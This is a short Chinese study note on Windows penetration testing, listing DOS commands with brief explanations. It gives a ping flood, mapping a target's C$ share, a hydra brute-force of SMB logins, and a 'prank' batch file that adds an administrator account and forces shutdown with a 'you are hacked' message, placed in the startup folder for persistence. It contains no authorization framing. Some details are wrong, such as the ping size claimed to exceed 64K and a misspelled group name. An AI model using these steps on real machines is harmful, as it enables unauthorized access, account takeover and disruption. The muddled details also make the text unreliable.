渗透测试学习1--Windows篇

一些Dos命令：

ping -t -l 6550 ip地址   死亡之ping（发送大于64K的文件并一直ping）

net use k:\\(对方的ip地址)\c$

将对方的C盘复制到本地取名为k

net use k:\\(ip地址)\c$/del

删除k盘映像

简单的整人代码：

shutdown -s -t 60 -c"hacked by Remiliia"

弹出对话框，显示引号里面的内容，并且与60秒后关机，如果是重启将-s 改为 -r

net user    查看拥有的账户

net user  Remiliia 123 /add 创建新用户

net localgroup administratore Remiliia /add

赋予账户管理员权限

net user Remiliia /del   删除账户

net share 查看共享

hydra -l administrator -P pass.txt IP地址 smb 可暴力破解登录密码

再net use 连接，然后用copy con c:\123.bat创建批处理文件里面写

net user Remilia 123 /add

net localgroup administrators Remilia /add

shutdown -s -t 60 -c "you are hacked by Remilia"

ctrl+z 结束

复制到桌面和启动项

使用shutdown -a 可结束

at  查看所有计划任务

at  15:30 shutdown  计划任务